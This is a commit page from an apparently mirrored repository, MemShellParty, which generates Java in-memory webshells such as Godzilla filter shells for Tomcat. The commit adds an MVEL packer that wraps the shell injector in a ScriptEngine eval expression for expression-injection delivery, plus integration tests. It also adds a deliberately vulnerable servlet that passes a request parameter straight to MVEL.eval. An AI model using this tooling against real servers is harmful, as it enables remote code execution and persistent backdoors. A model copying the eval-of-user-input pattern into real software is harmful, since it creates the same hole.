archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support mvel packer

Browse Source
This commit is contained in:
ReaJason
2025-01-29 19:54:17 +08:00
parent ee400fa5d2
commit 6fcf159d1f
11 changed files with 74 additions and 8 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/GeneratorMain.java
+3 -2
View File
@@ -20,9 +20,9 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.SpringWebFlux)
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(SpringWebFluxShell.NETTY_HANDLER)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_8)
.debug(true)
.build();
@@ -45,6 +45,7 @@ public class GeneratorMain {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(Packers.MVEL.getInstance().pack(generateResult));
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
}
}
generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java
+2
View File
@@ -11,6 +11,7 @@ import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
@@ -67,6 +68,7 @@ public enum Packers {
EL(new ELPacker()),
OGNL(new OGNLPacker()),
MVEL(new MVELPacker()),
SpEL(new SpELPacker()),
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java
+33
View File
@@ -0,0 +1,33 @@
package com.reajason.javaweb.memshell.packer.mvel;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/1/29
*/
public class MVELPacker implements Packer {
String template = "";
public MVELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
public String pack(GenerateResult generateResult) {
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java
+3 -4
View File
@@ -2,7 +2,7 @@ package com.reajason.javaweb.memshell.packer.ognl;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.Packers;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
@@ -14,12 +14,11 @@ import java.util.Objects;
* @since 2024/12/14
*/
public class OGNLPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public OGNLPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
@@ -27,7 +26,7 @@ public class OGNLPacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
generator/src/main/resources/MVELScriptEngine.txt
+1
View File
@@ -0,0 +1 @@
new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')
integration-test/build.gradle
+1 -1
View File
@@ -21,7 +21,7 @@ dependencies {
testImplementation 'org.java-websocket:Java-WebSocket'
testImplementation 'com.squareup.okhttp3:okhttp'
testImplementation 'com.alibaba.fastjson2:fastjson2'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation platform('org.junit:junit-bom')
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+1
View File
@@ -146,6 +146,7 @@ public class ShellAssertionTool {
case EL -> VulTool.postData(url + "/el", content);
case SpEL -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content);
case MVEL -> VulTool.postData(url + "/mvel", content);
case Freemarker -> VulTool.postData(url + "/freemarker", content);
case Velocity -> VulTool.postData(url + "/velocity", content);
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java
+1 -1
View File
@@ -32,7 +32,6 @@ import static org.junit.jupiter.params.provider.Arguments.arguments;
public class Tomcat8ContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
@@ -82,6 +81,7 @@ public class Tomcat8ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
vul/vul-webapp-expression/build.gradle
+1
View File
@@ -21,6 +21,7 @@ dependencies {
implementation 'commons-io:commons-io:2.+'
implementation 'org.apache.velocity:velocity:1.7'
implementation 'ognl:ognl:2.7.3'
implementation 'org.mvel:mvel2:2.4.7.Final'
implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
providedCompile 'de.odysseus.juel:juel-api:2.2.7'
providedCompile "javax.servlet:servlet-api:2.5"
vul/vul-webapp-expression/src/main/java/MVELServlet.java
+19
View File
@@ -0,0 +1,19 @@
import org.mvel2.MVEL;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class MVELServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
resp.getWriter().println(MVEL.eval(data));
}
}
vul/vul-webapp-expression/src/main/webapp/WEB-INF/web.xml
+9
View File
@@ -72,6 +72,15 @@
<url-pattern>/ognl</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>mvel</servlet-name>
<servlet-class>MVELServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>mvel</servlet-name>
<url-pattern>/mvel</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>velocity</servlet-name>
<servlet-class>VelocityServlet</servlet-class>